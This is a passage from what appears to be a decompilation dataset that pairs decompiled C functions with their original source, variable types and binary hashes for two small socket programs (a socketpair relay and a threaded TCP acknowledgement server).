a1[257];\nresult = (unsigned __int64)a1;\na1[257] = 0;\n}\nreturn result;\n}", "original_code": "void buf_wr_x (struct buf *b, int fd) {\n int sz = b->fill - b->pos;\n int r = write (fd, b->buf + b->pos, sz);\n if (r == -1) {\n perror (\"read\");\n exit (1);\n }\n if (r == 0) {\n fprintf (stderr, \"FULL?\\n\");\n exit (1);\n }\n b->pos += r;\n if (b->pos > sizeof (b->buf) / 2) {\n memmove (b->buf, b->buf + b->pos, b->fill - b->pos);\n b->fill -= b->pos;\n b->pos = 0;\n }\n}", "canonical_original_code": "void buf_wr_x(struct buf *b, int fd) {\n int sz = b->fill - b->pos;\n int r = write (fd, b->buf + b->pos, sz);\n if (r == -1) {\n perror (\"read\");\n exit (1);\n }\n if (r == 0) {\n fprintf (stderr, \"FULL?\\n\");\n exit (1);\n }\n b->pos += r;\n if (b->pos > sizeof (b->buf) / 2) {\n memmove (b->buf, b->buf + b->pos, b->fill - b->pos);\n b->fill -= b->pos;\n b->pos = 0;\n }\n}", "variable_types": [ [ "b", "struct buf { char buf[1024]; int fill; int pos; } *" ], [ "fd", "int" ], [ "sz", "int" ], [ "r", "int" ] ], "return_type": "void", "user_defined_types": [ "struct buf { char buf[1024]; int fill; int pos; }" ], "binary_hash": "96def3a1b56e4d3d980b505dafac7a212d7a9fbb661a30fbc39619f75fb09214" }, { "name": "main", "canonical_name": "main", "repo": "apk/asciztalker", "decompiled_code": "int __cdecl __noreturn main(int argc, const char **argv, const char **envp)\n{\nfd_set readfds; // [rsp+10h] [rbp-950h] BYREF\nfd_set writefds; // [rsp+90h] [rbp-8D0h] BYREF\n_DWORD v5[256]; // [rsp+110h] [rbp-850h] BYREF\nunsigned int v6; // [rsp+510h] [rbp-450h]\nunsigned int v7; // [rsp+514h] [rbp-44Ch]\n_DWORD v8[261]; // [rsp+520h] [rbp-440h] BYREF\nint fds[2]; // [rsp+934h] [rbp-2Ch] BYREF\nunsigned int v10; // [rsp+93Ch] [rbp-24h]\nint v11; // [rsp+940h] [rbp-20h]\nunsigned int v12; // [rsp+944h] [rbp-1Ch]\nint v13; // [rsp+948h] [rbp-18h]\nint v14; // [rsp+94Ch] [rbp-14h]\nchar *v15; // [rsp+950h] [rbp-10h]\nunsigned int i; // [rsp+958h] [rbp-8h]\nint v17; // [rsp+95Ch] [rbp-4h]\n\nv15 = getenv(\"yyx\");\nv14 = socketpair(1, 1, 0, fds);\nif ( v14 == -1 )\n{\nperror(\"socketpair\");\nexit(1);\n}\nif ( !v15 )\n{\nfwrite(\"no target\", 1uLL, 9uLL, stderr);\nexit(1);\n}\npid = fork();\nif ( pid == -1 )\n{\nperror(\"fork\");\nexit(1);\n}\nif ( !pid )\n{\ndup2(fds[1], 0);\ndup2(fds[1], 1);\nclose(fds[0]);\nexecvp(argv[1], (char *const *)argv + 1);\n_exit(4);\n}\nv17 = 0;\nbuf_init((__int64)v5);\nbuf_init((__int64)v8);\nbuf_appendz((__int64)v8, v15);\nclose(fds[1]);\nwhile ( 1 )\n{\nmemset(&readfds, 0, sizeof(readfds));\nv13 = 0;\nv12 = (unsigned int)&writefds;\nmemset(&writefds, 0, sizeof(writefds));\nv11 = 0;\nv10 = (unsigned int)v5;\nif ( v17 && buf_rd_p((__int64)v8) )\nreadfds.fds_bits[0] |= 1uLL;\nif ( buf_wr_p((__int64)v8) )\nwritefds.fds_bits[fds[0] / 64] |= 1LL << (fds[0] % 64);\nif ( buf_rd_p((__int64)v5) )\nreadfds.fds_bits[fds[0] / 64] |= 1LL << (fds[0] % 64);\nif ( v17 && buf_wr_p((__int64)v5) )\nwritefds.fds_bits[0] |= 2uLL;\nv14 = select(fds[0] + 1, &readfds, &writefds, 0LL, 0LL);\nif ( v14 == -1 )\n{\nperror(\"select\");\nkill(pid, 2);\nexit(1);\n}\nif ( !v14 )\n{\nfwrite(\"Oops\\n\", 1uLL, 5uLL, stderr);\nkill(pid, 2);\nexit(1);\n}\nif ( v17 && (readfds.fds_bits[0] & 1) != 0 )\nbuf_rd_x((__int64)v8, 0);\nif ( (writefds.fds_bits[fds[0] / 64] & (1LL << (fds[0] % 64))) != 0 )\nbuf_wr_x(v8, fds[0]);\nif ( (readfds.fds_bits[fds[0] / 64] & (1LL << (fds[0] % 64))) != 0 )\nbuf_rd_x((__int64)v5, fds[0]);\nif ( v17 && (writefds.fds_bits[0] & 2) != 0 )\nbuf_wr_x(v5, 1);\nif ( !v17 )\n{\nfprintf(stderr, \"up: %d..%d\\n\", v7, v6);\nfor ( i = v7; (int)i < (int)v6; ++i )\n{\nfprintf(stderr, \" [%d]: %d\\n\", i, (unsigned int)*((char *)v5 + (int)i));\nif ( !*((_BYTE *)v5 + (int)i) )\n{\nif ( i != v7 )\n{\nfprintf(stderr, \"FAIL '%s'\\n\", (const char *)v5 + (int)v7);\nkill(pid, 2);\nexit(1);\n}\n++v7;\nfwrite(\"Good!\\n\", 1uLL, 6uLL, stderr);\nv17 = 1;\n}\n}\n}\n}\n}\n", "canonical_decompiled_code": "int __cdecl __noreturn main(int argc, const char **argv, const char **envp)\n{\nfd_set readfds; // [rsp+10h] [rbp-950h] BYREF\nfd_set writefds; // [rsp+90h] [rbp-8D0h] BYREF\n_DWORD v5[256]; // [rsp+110h] [rbp-850h] BYREF\nunsigned int v6; // [rsp+510h] [rbp-450h]\nunsigned int v7; // [rsp+514h] [rbp-44Ch]\n_DWORD v8[261]; // [rsp+520h] [rbp-440h] BYREF\nint fds[2]; // [rsp+934h] [rbp-2Ch] BYREF\nunsigned int v10; // [rsp+93Ch] [rbp-24h]\nint v11; // [rsp+940h] [rbp-20h]\nunsigned int v12; // [rsp+944h] [rbp-1Ch]\nint v13; // [rsp+948h] [rbp-18h]\nint v14; // [rsp+94Ch] [rbp-14h]\nchar *v15; // [rsp+950h] [rbp-10h]\nunsigned int i; // [rsp+958h] [rbp-8h]\nint v17; // [rsp+95Ch] [rbp-4h]\n\nv15 = getenv(\"yyx\");\nv14 = socketpair(1, 1, 0, fds);\nif ( v14 == -1 )\n{\nperror(\"socketpair\");\nexit(1);\n}\nif ( !v15 )\n{\nfwrite(\"no target\", 1uLL, 9uLL, stderr);\nexit(1);\n}\npid = fork();\nif ( pid == -1 )\n{\nperror(\"fork\");\nexit(1);\n}\nif ( !pid )\n{\ndup2(fds[1], 0);\ndup2(fds[1], 1);\nclose(fds[0]);\nexecvp(argv[1], (char *const *)argv + 1);\n_exit(4);\n}\nv17 = 0;\nfunc7((__int64)v5);\nfunc7((__int64)v8);\nfunc8((__int64)v8, v15);\nclose(fds[1]);\nwhile ( 1 )\n{\nmemset(&readfds, 0, sizeof(readfds));\nv13 = 0;\nv12 = (unsigned int)&writefds;\nmemset(&writefds, 0, sizeof(writefds));\nv11 = 0;\nv10 = (unsigned int)v5;\nif ( v17 && func9((__int64)v8) )\nreadfds.fds_bits[0] |= 1uLL;\nif ( func10((__int64)v8) )\nwritefds.fds_bits[fds[0] / 64] |= 1LL << (fds[0] % 64);\nif ( func9((__int64)v5) )\nreadfds.fds_bits[fds[0] / 64] |= 1LL << (fds[0] % 64);\nif ( v17 && func10((__int64)v5) )\nwritefds.fds_bits[0] |= 2uLL;\nv14 = select(fds[0] + 1, &readfds, &writefds, 0LL, 0LL);\nif ( v14 == -1 )\n{\nperror(\"select\");\nkill(pid, 2);\nexit(1);\n}\nif ( !v14 )\n{\nfwrite(\"Oops\\n\", 1uLL, 5uLL, stderr);\nkill(pid, 2);\nexit(1);\n}\nif ( v17 && (readfds.fds_bits[0] & 1) != 0 )\nfunc11((__int64)v8, 0);\nif ( (writefds.fds_bits[fds[0] / 64] & (1LL << (fds[0] % 64))) != 0 )\nfunc12(v8, fds[0]);\nif ( (readfds.fds_bits[fds[0] / 64] & (1LL << (fds[0] % 64))) != 0 )\nfunc11((__int64)v5, fds[0]);\nif ( v17 && (writefds.fds_bits[0] & 2) != 0 )\nfunc12(v5, 1);\nif ( !v17 )\n{\nfprintf(stderr, \"up: %d..%d\\n\", v7, v6);\nfor ( i = v7; (int)i < (int)v6; ++i )\n{\nfprintf(stderr, \" [%d]: %d\\n\", i, (unsigned int)*((char *)v5 + (int)i));\nif ( !*((_BYTE *)v5 + (int)i) )\n{\nif ( i != v7 )\n{\nfprintf(stderr, \"FAIL '%s'\\n\", (const char *)v5 + (int)v7);\nkill(pid, 2);\nexit(1);\n}\n++v7;\nfwrite(\"Good!\\n\", 1uLL, 6uLL, stderr);\nv17 = 1;\n}\n}\n}\n}\n}", "original_code": "int main (int argc, char **argv) {\n int fds [2];\n char *tg = getenv (\"yyx\");\n int r = socketpair (1, SOCK_STREAM, 0, fds);\n if (r == -1) {\n perror (\"socketpair\");\n exit (1);\n }\n if (!tg) {\n fprintf (stderr, \"no target\");\n exit (1);\n }\n pid = fork ();\n if (pid == -1) {\n perror (\"fork\");\n exit (1);\n } else if (pid == 0) {\n dup2 (fds [1], 0);\n dup2 (fds [1], 1);\n close (fds [0]);\n execvp (argv [1], argv + 1);\n _exit (4);\n } else {\n int op = 0;\n struct buf up, down;\n buf_init (&up);\n buf_init (&down);\n buf_appendz (&down, tg);\n close (fds [1]);\n while (1) {\n fd_set R, W;\n do { int __d0, __d1; __asm__ __volatile__ (\"cld; rep; \" \"stosq\" : \"=c\" (__d0), \"=D\" (__d1) : \"a\" (0), \"0\" (sizeof (fd_set) / sizeof (__fd_mask)), \"1\" (&((&R)->__fds_bits)[0]) : \"memory\"); } while (0);\n do { int __d0, __d1; __asm__ __volatile__ (\"cld; rep; \" \"stosq\" : \"=c\" (__d0), \"=D\" (__d1) : \"a\" (0), \"0\" (sizeof (fd_set) / sizeof (__fd_mask)), \"1\" (&((&W)->__fds_bits)[0]) : \"memory\"); } while (0);\n if (op && buf_rd_p (&down)) {\n ((void) (((&R)->__fds_bits)[((0) / (8 * (int) sizeof (__fd_mask)))] |= ((__fd_mask) (1UL << ((0) % (8 * (int) sizeof (__fd_mask)))))));\n }\n if (buf_wr_p (&down)) {\n ((void) (((&W)->__fds_bits)[((fds [0]) / (8 * (int) sizeof (__fd_mask)))] |= ((__fd_mask) (1UL << ((fds [0]) % (8 * (int) sizeof (__fd_mask)))))));\n }\n if (buf_rd_p (&up)) {\n ((void) (((&R)->__fds_bits)[((fds [0]) / (8 * (int) sizeof (__fd_mask)))] |= ((__fd_mask) (1UL << ((fds [0]) % (8 * (int) sizeof (__fd_mask)))))));\n }\n if (op && buf_wr_p (&up)) {\n ((void) (((&W)->__fds_bits)[((1) / (8 * (int) sizeof (__fd_mask)))] |= ((__fd_mask) (1UL << ((1) % (8 * (int) sizeof (__fd_mask)))))));\n }\n r = select (fds [0] + 1, &R, &W, 0, 0);\n if (r == -1) {\n perror (\"select\");\n kill (pid, 2);\n exit (1);\n }\n if (r == 0) {\n fprintf (stderr, \"Oops\\n\");\n kill (pid, 2);\n exit (1);\n }\n if (op && ((((&R)->__fds_bits)[((0) / (8 * (int) sizeof (__fd_mask)))] & ((__fd_mask) (1UL << ((0) % (8 * (int) sizeof (__fd_mask)))))) != 0)) {\n buf_rd_x (&down, 0);\n }\n if (((((&W)->__fds_bits)[((fds [0]) / (8 * (int) sizeof (__fd_mask)))] & ((__fd_mask) (1UL << ((fds [0]) % (8 * (int) sizeof (__fd_mask)))))) != 0)) {\n buf_wr_x (&down, fds [0]);\n }\n if (((((&R)->__fds_bits)[((fds [0]) / (8 * (int) sizeof (__fd_mask)))] & ((__fd_mask) (1UL << ((fds [0]) % (8 * (int) sizeof (__fd_mask)))))) != 0)) {\n buf_rd_x (&up, fds [0]);\n }\n if (op && ((((&W)->__fds_bits)[((1) / (8 * (int) sizeof (__fd_mask)))] & ((__fd_mask) (1UL << ((1) % (8 * (int) sizeof (__fd_mask)))))) != 0)) {\n buf_wr_x (&up, 1);\n }\n if (!op) {\n int i;\n fprintf (stderr, \"up: %d..%d\\n\", up.pos, up.fill);\n for (i = up.pos; i < up.fill; i ++) {\n fprintf (stderr, \" [%d]: %d\\n\", i, up.buf [i]);\n if (up.buf [i] == 0) {\n if (i == up.pos) {\n up.pos ++;\n fprintf (stderr, \"Good!\\n\");\n op = 1;\n continue;\n } else {\n fprintf (stderr, \"FAIL '%s'\\n\", up.buf + up.pos);\n kill (pid, 2);\n exit (1);\n }\n }\n }\n }\n }\n }\n return 0;\n}", "canonical_original_code": "int main(int argc, char **argv) {\n int fds[2];\n char *tg = getenv (\"yyx\");\n int r = socketpair (1, SOCK_STREAM, 0, fds);\n if (r == -1) {\n perror (\"socketpair\");\n exit (1);\n }\n if (!tg) {\n fprintf (stderr, \"no target\");\n exit (1);\n }\n pid = fork ();\n if (pid == -1) {\n perror (\"fork\");\n exit (1);\n } else if (pid == 0) {\n dup2 (fds [1], 0);\n dup2 (fds [1], 1);\n close (fds [0]);\n execvp (argv [1], argv + 1);\n _exit (4);\n } else {\n int op = 0;\n struct buf up; struct buf down;\n buf_init (&up);\n buf_init (&down);\n buf_appendz (&down, tg);\n close (fds [1]);\n while (1) {\n struct fd_set R; struct fd_set W;\n do { int __d0; int __d1; __asm__ __volatile__ (\"cld; rep; \" \"stosq\" : \"=c\" (__d0), \"=D\" (__d1) : \"a\" (0), \"0\" (sizeof (fd_set) / sizeof (__fd_mask)), \"1\" (&((&R)->__fds_bits)[0]) : \"memory\"); } while (0);\n do { int __d0; int __d1; __asm__ __volatile__ (\"cld; rep; \" \"stosq\" : \"=c\" (__d0), \"=D\" (__d1) : \"a\" (0), \"0\" (sizeof (fd_set) / sizeof (__fd_mask)), \"1\" (&((&W)->__fds_bits)[0]) : \"memory\"); } while (0);\n if (op && buf_rd_p (&down)) {\n ((void) (((&R)->__fds_bits)[((0) / (8 * (int) sizeof (__fd_mask)))] |= ((__fd_mask) (1UL << ((0) % (8 * (int) sizeof (__fd_mask)))))));\n }\n if (buf_wr_p (&down)) {\n ((void) (((&W)->__fds_bits)[((fds [0]) / (8 * (int) sizeof (__fd_mask)))] |= ((__fd_mask) (1UL << ((fds [0]) % (8 * (int) sizeof (__fd_mask)))))));\n }\n if (buf_rd_p (&up)) {\n ((void) (((&R)->__fds_bits)[((fds [0]) / (8 * (int) sizeof (__fd_mask)))] |= ((__fd_mask) (1UL << ((fds [0]) % (8 * (int) sizeof (__fd_mask)))))));\n }\n if (op && buf_wr_p (&up)) {\n ((void) (((&W)->__fds_bits)[((1) / (8 * (int) sizeof (__fd_mask)))] |= ((__fd_mask) (1UL << ((1) % (8 * (int) sizeof (__fd_mask)))))));\n }\n r = select (fds [0] + 1, &R, &W, 0, 0);\n if (r == -1) {\n perror (\"select\");\n kill (pid, 2);\n exit (1);\n }\n if (r == 0) {\n fprintf (stderr, \"Oops\\n\");\n kill (pid, 2);\n exit (1);\n }\n if (op && ((((&R)->__fds_bits)[((0) / (8 * (int) sizeof (__fd_mask)))] & ((__fd_mask) (1UL << ((0) % (8 * (int) sizeof (__fd_mask)))))) != 0)) {\n buf_rd_x (&down, 0);\n }\n if (((((&W)->__fds_bits)[((fds [0]) / (8 * (int) sizeof (__fd_mask)))] & ((__fd_mask) (1UL << ((fds [0]) % (8 * (int) sizeof (__fd_mask)))))) != 0)) {\n buf_wr_x (&down, fds [0]);\n }\n if (((((&R)->__fds_bits)[((fds [0]) / (8 * (int) sizeof (__fd_mask)))] & ((__fd_mask) (1UL << ((fds [0]) % (8 * (int) sizeof (__fd_mask)))))) != 0)) {\n buf_rd_x (&up, fds [0]);\n }\n if (op && ((((&W)->__fds_bits)[((1) / (8 * (int) sizeof (__fd_mask)))] & ((__fd_mask) (1UL << ((1) % (8 * (int) sizeof (__fd_mask)))))) != 0)) {\n buf_wr_x (&up, 1);\n }\n if (!op) {\n int i;\n fprintf (stderr, \"up: %d..%d\\n\", up.pos, up.fill);\n for (i = up.pos; i < up.fill; i ++) {\n fprintf (stderr, \" [%d]: %d\\n\", i, up.buf [i]);\n if (up.buf [i] == 0) {\n if (i == up.pos) {\n up.pos ++;\n fprintf (stderr, \"Good!\\n\");\n op = 1;\n continue;\n } else {\n fprintf (stderr, \"FAIL '%s'\\n\", up.buf + up.pos);\n kill (pid, 2);\n exit (1);\n }\n }\n }\n }\n }\n }\n return 0;\n}", "variable_types": [ [ "argc", "int" ], [ "argv", "char **" ], [ "fds", "int [2]" ], [ "tg", "char *" ], [ "r", "int" ], [ "op", "int" ], [ "up", "struct buf { char buf[1024]; int fill; int pos; }" ], [ "down", "struct buf { char buf[1024]; int fill; int pos; }" ], [ "R", "struct fd_set { long __fds_bits[-1]; }" ], [ "W", "struct fd_set { long __fds_bits[-1]; }" ], [ "__d0", "int" ], [ "__d1", "int" ], [ "i", "int" ] ], "return_type": "int", "user_defined_types": [ "struct buf { char buf[1024]; int fill; int pos; }", "struct fd_set { long __fds_bits[-1]; }" ], "binary_hash": "96def3a1b56e4d3d980b505dafac7a212d7a9fbb661a30fbc39619f75fb09214" } ]
de9833307106b91fc786c0d3254a85d2b1cc91f909ba3eae37fec32e8f13f406
rxacevedo/c_socket_server
[ [ "sub_401020", "->" ], [ "start", "->" ], [ "dl_relocate_static_pie", "->" ], [ "deregister_tm_clones", "->", "_do_global_dtors_aux" ], [ "register_tm_clones", "->", "frame_dummy" ], [ "_do_global_dtors_aux", "->", "deregister_tm_clones" ], [ "frame_dummy", "->", "register_tm_clones" ], [ "threadworker", "->" ], [ "main", "->" ], [ "_libc_csu_init", "->" ], [ "_libc_csu_fini", "->" ] ]
[ [ "sub_401020", "__int64 func0()\n{\nreturn qword_404010();\n}" ], [ "start", "void __fastcall __noreturn func1(__int64 a1, __int64 a2, void (*a3)(void))\n{\n__int64 v3; // rax\nint v4; // esi\n__int64 v5; // [rsp-8h] [rbp-8h] BYREF\nchar *retaddr; // [rsp+0h] [rbp+0h] BYREF\n\nv4 = v5;\nv5 = v3;\n_libc_start_main(\n(int (__fastcall *)(int, char **, char **))main,\nv4,\n&retaddr,\n_libc_csu_init,\n_libc_csu_fini,\na3,\n&v5);\n__halt();\n}" ], [ "dl_relocate_static_pie", "void func2()\n{\n;\n}" ], [ "deregister_tm_clones", "FILE **func3()\n{\nreturn &_bss_start;\n}" ], [ "register_tm_clones", "__int64 func4()\n{\nreturn 0LL;\n}" ], [ "_do_global_dtors_aux", "FILE **func5()\n{\nFILE **result; // rax\n\nif ( !completed_0 )\n{\nresult = func3();\ncompleted_0 = 1;\n}\nreturn result;\n}" ], [ "frame_dummy", "__int64 func6()\n{\nreturn func4();\n}" ], [ "_libc_csu_init", "void __fastcall func8(unsigned int a1, __int64 a2, __int64 a3)\n{\nsigned __int64 v4; // rbp\n__int64 i; // rbx\n\ninit_proc();\nv4 = &_do_global_dtors_aux_fini_array_entry - &_frame_dummy_init_array_entry;\nif ( v4 )\n{\nfor ( i = 0LL; i != v4; ++i )\n((void (__fastcall *)(_QWORD, __int64, __int64))*(&_frame_dummy_init_array_entry + i))(a1, a2, a3);\n}\n}" ], [ "_libc_csu_fini", "void func9(void)\n{\n;\n}" ] ]
[ { "name": "threadworker", "canonical_name": "func7", "repo": "rxacevedo/c_socket_server", "decompiled_code": "void __fastcall __noreturn threadworker(void *a1)\n{\npthread_t v1; // rax\nsize_t v2; // rax\npthread_t v3; // rax\n_QWORD *buf; // [rsp+20h] [rbp-10h]\n\nbuf = malloc(0x100uLL);\n*buf = 0LL;\nbuf[31] = 0LL;\nmemset(\n(void *)((unsigned __int64)(buf + 1) & 0xFFFFFFFFFFFFFFF8LL),\n0,\n8LL * ((((_DWORD)buf - (((_DWORD)buf + 8) & 0xFFFFFFF8) + 256) & 0xFFFFFFF8) >> 3));\nif ( (int)read((int)a1, buf, 0x100uLL) < 0 )\n{\nperror(\"Error reading form socket, exiting thread\");\npthread_exit(0LL);\n}\nprintf(\"New message received: %s\", (const char *)buf);\n*buf = 0LL;\nbuf[31] = 0LL;\nmemset(\n(void *)((unsigned __int64)(buf + 1) & 0xFFFFFFFFFFFFFFF8LL),\n0,\n8LL * ((((_DWORD)buf - (((_DWORD)buf + 8) & 0xFFFFFFF8) + 256) & 0xFFFFFFF8) >> 3));\nv1 = pthread_self();\nsprintf((char *)buf, \"Acknowledgement from TID:0x%x\", v1);\nv2 = strlen((const char *)buf);\nif ( (int)write((int)a1, buf, v2) < 0 )\n{\nperror(\"Error writing to socket, exiting thread\");\npthread_exit(0LL);\n}\nputs(\"Requesting mutex lock...\");\npthread_mutex_lock(&lock);\nprintf(\"Current counter value: %d, upping by 1...\\n\", (unsigned int)counter);\n++counter;\npthread_mutex_unlock(&lock);\nprintf(\"Done! Mutex unlocked again, new counter value: %d\\n\", (unsigned int)counter);\nclose((int)a1);\nv3 = pthread_self();\nprintf(\"TID:0x%x served request, exiting thread\\n\", v3);\npthread_exit(0LL);\n}\n", "canonical_decompiled_code": "void __fastcall __noreturn func7(void *a1)\n{\npthread_t v1; // rax\nsize_t v2; // rax\npthread_t v3; // rax\n_QWORD *buf; // [rsp+20h] [rbp-10h]\n\nbuf = malloc(0x100uLL);\n*buf = 0LL;\nbuf[31] = 0LL;\nmemset(\n(void *)((unsigned __int64)(buf + 1) & 0xFFFFFFFFFFFFFFF8LL),\n0,\n8LL * ((((_DWORD)buf - (((_DWORD)buf + 8) & 0xFFFFFFF8) + 256) & 0xFFFFFFF8) >> 3));\nif ( (int)read((int)a1, buf, 0x100uLL) < 0 )\n{\nperror(\"Error reading form socket, exiting thread\");\npthread_exit(0LL);\n}\nprintf(\"New message received: %s\", (const char *)buf);\n*buf = 0LL;\nbuf[31] = 0LL;\nmemset(\n(void *)((unsigned __int64)(buf + 1) & 0xFFFFFFFFFFFFFFF8LL),\n0,\n8LL * ((((_DWORD)buf - (((_DWORD)buf + 8) & 0xFFFFFFF8) + 256) & 0xFFFFFFF8) >> 3));\nv1 = pthread_self();\nsprintf((char *)buf, \"Acknowledgement from TID:0x%x\", v1);\nv2 = strlen((const char *)buf);\nif ( (int)write((int)a1, buf, v2) < 0 )\n{\nperror(\"Error writing to socket, exiting thread\");\npthread_exit(0LL);\n}\nputs(\"Requesting mutex lock...\");\npthread_mutex_lock(&lock);\nprintf(\"Current counter value: %d, upping by 1...\\n\", (unsigned int)counter);\n++counter;\npthread_mutex_unlock(&lock);\nprintf(\"Done! Mutex unlocked again, new counter value: %d\\n\", (unsigned int)counter);\nclose((int)a1);\nv3 = pthread_self();\nprintf(\"TID:0x%x served request, exiting thread\\n\", v3);\npthread_exit(0LL);\n}", "original_code": "void *threadworker(void *arg)\n{\n int sockfd, rw;\n char *buffer;\n sockfd = (int) arg;\n buffer = malloc(256);\n bzero(buffer, 256);\n rw = read(sockfd, buffer, 256);\n if (rw < 0)\n {\n perror(\"Error reading form socket, exiting thread\");\n pthread_exit(0);\n }\n printf(\"New message received: %s\", buffer);\n bzero(buffer, 256);\n sprintf(buffer, \"Acknowledgement from TID:0x%x\", pthread_self());\n rw = write(sockfd, buffer, strlen(buffer));\n if (rw < 0)\n {\n perror(\"Error writing to socket, exiting thread\");\n pthread_exit(0);\n }\n printf(\"Requesting mutex lock...\\n\");\n pthread_mutex_lock (&lock);\n printf(\"Current counter value: %d, upping by 1...\\n\", counter);\n counter++;\n pthread_mutex_unlock (&lock);\n printf(\"Done! Mutex unlocked again, new counter value: %d\\n\", counter);\n close(sockfd);\n printf(\"TID:0x%x served request, exiting thread\\n\", pthread_self());\n pthread_exit(0);\n}", "canonical_original_code": "void *threadworker(void *arg)\n{\n int sockfd; int rw;\n char *buffer;\n sockfd = (int) arg;\n buffer = malloc(256);\n bzero(buffer, 256);\n rw = read(sockfd, buffer, 256);\n if (rw < 0)\n {\n perror(\"Error reading form socket, exiting thread\");\n pthread_exit(0);\n }\n printf(\"New message received: %s\", buffer);\n bzero(buffer, 256);\n sprintf(buffer, \"Acknowledgement from TID:0x%x\", pthread_self());\n rw = write(sockfd, buffer, strlen(buffer));\n if (rw < 0)\n {\n perror(\"Error writing to socket, exiting thread\");\n pthread_exit(0);\n }\n printf(\"Requesting mutex lock...\\n\");\n pthread_mutex_lock (&lock);\n printf(\"Current counter value: %d, upping by 1...\\n\", counter);\n counter++;\n pthread_mutex_unlock (&lock);\n printf(\"Done! Mutex unlocked again, new counter value: %d\\n\", counter);\n close(sockfd);\n printf(\"TID:0x%x served request, exiting thread\\n\", pthread_self());\n pthread_exit(0);\n}", "variable_types": [ [ "arg", "void *" ], [ "sockfd", "int" ], [ "rw", "int" ], [ "buffer", "char *" ] ], "return_type": "void *", "user_defined_types": [], "binary_hash": "de9833307106b91fc786c0d3254a85d2b1cc91f909ba3eae37fec32e8f13f406" }, { "name": "main", "canonical_name": "main", "repo": "rxacevedo/c_socket_server", "decompiled_code": "int __cdecl __noreturn main(int argc, const char **argv, const char **envp)\n{\nint v3; // eax\npthread_attr_t attr; // [rsp+10h] [rbp-110h] BYREF\nstruct sockaddr addr; // [rsp+50h] [rbp-D0h] BYREF\nsocklen_t addr_len; // [rsp+D4h] [rbp-4Ch] BYREF\nstruct addrinfo *pai; // [rsp+D8h] [rbp-48h] BYREF\nstruct addrinfo s; // [rsp+E0h] [rbp-40h] BYREF\nint v9; // [rsp+114h] [rbp-Ch]\nint fd; // [rsp+118h] [rbp-8h]\nint v11; // [rsp+11Ch] [rbp-4h]\n\nif ( argc <= 1 )\n{\nfwrite(\"Error: no port provided\\n\", 1uLL, 0x18uLL, _bss_start);\nexit(-1);\n}\nmemset(&s, 0, sizeof(s));\ns.ai_family = 0;\ns.ai_socktype = 1;\ns.ai_flags = 1;\nif ( getaddrinfo(0LL, argv[1], &s, &pai) < 0 )\n{\nperror(\"Couldn't read host info for socket start\");\nexit(-1);\n}\nfd = socket(pai->ai_family, pai->ai_socktype, pai->ai_protocol);\nif ( fd < 0 )\n{\nperror(\"Error opening socket\");\nexit(-1);\n}\nif ( bind(fd, pai->ai_addr, pai->ai_addrlen) < 0 )\n{\nperror(\"Error on binding\");\nexit(-1);\n}\nfreeaddrinfo(pai);\npthread_attr_init(&attr);\npthread_attr_setschedpolicy(&attr, 1);\npthread_attr_setdetachstate(&attr, 1);\nlisten(fd, 5);\naddr_len = 128;\nv11 = 0;\nwhile ( 1 )\n{\nif ( v11 == 50 )\nv11 = 0;\nv9 = accept(fd, &addr, &addr_len);\nif ( v9 < 0 )\n{\nperror(\"Error on accept\");\nexit(-1);\n}\nv3 = v11++;\npthread_create(&threadid[v3], &attr, (void *(*)(void *))threadworker, (void *)v9);\nsleep(0);\n}\n}\n", "canonical_decompiled_code": "int __cdecl __noreturn main(int argc, const char **argv, const char **envp)\n{\nint v3; // eax\npthread_attr_t attr; // [rsp+10h] [rbp-110h] BYREF\nstruct sockaddr addr; // [rsp+50h] [rbp-D0h] BYREF\nsocklen_t addr_len; // [rsp+D4h] [rbp-4Ch] BYREF\nstruct addrinfo *pai; // [rsp+D8h] [rbp-48h] BYREF\nstruct addrinfo s; // [rsp+E0h] [rbp-40h] BYREF\nint v9; // [rsp+114h] [rbp-Ch]\nint fd; // [rsp+118h] [rbp-8h]\nint v11; // [rsp+11Ch] [rbp-4h]\n\nif ( argc <= 1 )\n{\nfwrite(\"Error: no port provided\\n\", 1uLL, 0x18uLL, _bss_start);\nexit(-1);\n}\nmemset(&s, 0, sizeof(s));\ns.ai_family = 0;\ns.ai_socktype = 1;\ns.ai_flags = 1;\nif ( getaddrinfo(0LL, argv[1], &s, &pai) < 0 )\n{\nperror(\"Couldn't read host info for socket start\");\nexit(-1);\n}\nfd = socket(pai->ai_family, pai->ai_socktype, pai->ai_protocol);\nif ( fd < 0 )\n{\nperror(\"Error opening socket\");\nexit(-1);\n}\nif ( bind(fd, pai->ai_addr, pai->ai_addrlen) < 0 )\n{\nperror(\"Error on binding\");\nexit(-1);\n}\nfreeaddrinfo(pai);\npthread_attr_init(&attr);\npthread_attr_setschedpolicy(&attr, 1);\npthread_attr_setdetachstate(&attr, 1);\nlisten(fd, 5);\naddr_len = 128;\nv11 = 0;\nwhile ( 1 )\n{\nif ( v11 == 50 )\nv11 = 0;\nv9 = accept(fd, &addr, &addr_len);\nif ( v9 < 0 )\n{\nperror(\"Error on accept\");\nexit(-1);\n}\nv3 = v11++;\npthread_create(&threadid[v3], &attr, (void *(*)(void *))threadworker, (void *)v9);\nsleep(0);\n}\n}", "original_code": "int main(int argc, char *argv[])\n{\n int serv_sockfd, new_sockfd;\n struct addrinfo flags;\n struct addrinfo *host_info;\n socklen_t addr_size;\n struct sockaddr_storage client;\n pthread_attr_t attr;\n int i;\n if (argc < 2) {\n fprintf(stderr,\"Error: no port provided\\n\");\n exit(-1);\n }\n memset(&flags, 0, sizeof(flags));\n flags.ai_family = 0;\n flags.ai_socktype = SOCK_STREAM;\n flags.ai_flags = 0x0001;\n if (getaddrinfo(((void *)0), argv[1], &flags, &host_info) < 0)\n {\n perror(\"Couldn't read host info for socket start\");\n exit(-1);\n }\n serv_sockfd = socket(host_info->ai_family, host_info->ai_socktype, host_info->ai_protocol);\n if (serv_sockfd < 0)\n {\n perror(\"Error opening socket\");\n exit(-1);\n }\n if (bind(serv_sockfd, host_info->ai_addr, host_info->ai_addrlen) < 0)\n {\n perror(\"Error on binding\");\n exit(-1);\n }\n freeaddrinfo(host_info);\n pthread_attr_init(&attr);\n pthread_attr_setschedpolicy(&attr, 1);\n pthread_attr_setdetachstate(&attr, PTHREAD_CREATE_DETACHED);\n listen(serv_sockfd, 5);\n addr_size = sizeof(client);\n i = 0;\n while (1)\n {\n if (i == 50)\n {\n i = 0;\n }\n new_sockfd = accept(serv_sockfd, (struct sockaddr *) &client, &addr_size);\n if (new_sockfd < 0)\n {\n perror(\"Error on accept\");\n exit(-1);\n }\n pthread_create(&threadid[i++], &attr, &threadworker, (void *) new_sockfd);\n sleep(0);\n }\n return 0;\n}", "canonical_original_code": "int main(int argc, 